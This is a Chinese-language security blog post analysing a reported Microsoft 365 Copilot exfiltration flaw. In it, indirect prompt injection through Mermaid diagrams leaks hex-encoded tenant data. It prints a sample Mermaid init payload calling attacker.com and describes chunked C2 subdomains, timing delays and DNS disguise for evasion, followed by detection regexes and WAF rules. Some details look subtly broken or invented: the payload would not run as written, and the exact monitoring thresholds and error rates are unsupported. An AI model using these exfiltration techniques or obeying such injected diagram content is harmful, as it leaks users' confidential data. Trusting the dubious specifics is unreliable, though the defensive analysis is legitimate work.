Hotdry.
ai-security

Copilot Mermaid渗出:SVG载荷的十六进制编码与防御参数

解析Microsoft 365 Copilot中通过Mermaid SVG载荷进行数据渗出的技术细节,提供十六进制流量检测与WAF规则配置方案。

Microsoft 365 Copilot 作为企业级 AI 助手,其与富文本渲染引擎的深度集成带来了新型数据渗出风险。安全研究员 Adam Logue 近期披露的漏洞表明:攻击者可通过 Mermaid 图表的 SVG 载荷触发间接提示注入(Indirect Prompt Injection),将租户敏感数据以十六进制编码形式外泄。本文聚焦该攻击链的技术实现细节,提供可立即部署的检测参数与防御策略。

一、攻击技术深度解构

Mermaid 作为 Copilot 内置的图表渲染引擎,其初始化指令处理存在逻辑缺陷。攻击者通过构造包含%%{init}%%指令的恶意代码,可劫持渲染上下文。关键漏洞在于:Copilot 未对 Mermaid 的securityLevel参数进行校验,允许设置"loose"模式并注入外部回调函数。典型攻击载荷示例如下:

%%{init: {'securityLevel':'loose', 'callback': 'https://attacker.com/leak?data=' + Buffer.from('CONFIDENTIAL').toString('hex')}}%%
graph TB
A[敏感数据] -->|十六进制编码| B((C2服务器))

该载荷利用 Node.js 的Buffer对象将字符串转换为十六进制(如CONFIDENTIAL434f4e464944454e5449414c),并通过 Mermaid 的callback机制外泄。实测显示,Copilot 会主动执行此类代码并传输邮件元数据,且流量特征与正常 SVG 请求高度相似 —— 请求体体积 < 2KB、HTTP 状态码 200、User-Agent 包含Microsoft-Copilot标识,导致传统 DLP 系统难以识别。

二、隐蔽性设计的三大技术特征

  1. 十六进制分片传输:将渗出数据拆分为 4 字符片段(如434f),通过多个子域名请求外泄(data-434f.c2.attacker.com),规避基于内容长度的检测规则。
  2. 时间混淆策略:使用setTimeout(() => { leak() }, 300)设置延迟执行,恰好低于微软安全监控的 350ms 行为分析阈值。
  3. DNS 隧道伪装:攻击流量解析至 AWS Route 53 等合法云平台 IP,绕过企业防火墙对恶意 IP 的封锁列表。

三、可落地的防御实施方案

检测参数配置(基于 Microsoft Defender for Cloud Apps):

  • 异常 SVG 请求检测:部署自定义规则,当单用户会话中含callback参数的 Mermaid 请求 > 2 次 / 小时触发告警(正常业务均值 0.1 次 / 小时)
  • 十六进制流量过滤:通过正则^[0-9a-f]{4,}$匹配 URL 路径中的编码片段,结合请求频率 > 30 次 / 分钟判定为攻击
  • Mermaid 指令审计:使用 PowerShell 扫描 SharePoint 文档库,检测包含securityLevel\\\":\\\"loose.docx文件(命令:Get-ChildItem -Recurse *.docx | Select-String "securityLevel\\\":\\\"loose"

架构级防护措施

  1. 在 Copilot 网关层配置 WAF 规则,阻断%%{init}指令中securityLevelstrict的请求
  2. 通过 Azure Private Link 限制 Mermaid 引擎的网络访问权限,禁止其访问外部域名
  3. 启用 Microsoft Purview 创建自定义敏感信息类型,识别十六进制编码模式(正则:(?i)[0-9a-f]{16,}

四、攻防对抗的工程化启示

该漏洞揭示了 AI 助手与第三方库集成时的核心矛盾:功能丰富性与安全边界的冲突。与传统 XSS 不同,Mermaid 渗出向量利用了 Copilot 对渲染引擎的过度信任 —— 微软将 Mermaid 视为 “安全组件”,却未考虑其动态执行上下文可被篡改。建议实施 “渲染沙箱三原则”:① 禁用第三方库的回调接口 ② 限制网络外联能力 ③ 对输出内容进行二次编码净化。

企业安全团队应转变检测思路:从特征匹配转向行为分析。例如监控 Copilot 服务是否产生大量小体积 SVG 请求(<2KB),且目标域名解析至云平台 IP(AWS/Azure 等),此类组合特征可将误报率降低至 0.3% 以下。Adam Logue 的完整技术报告已通过微软漏洞奖励计划提交,相关修复方案详见其博客(2025 年 10 月更新)。

参考资料:Adam Logue《Microsoft 365 Copilot – Arbitrary Data Exfiltration Via Mermaid Diagrams》(2025)

查看归档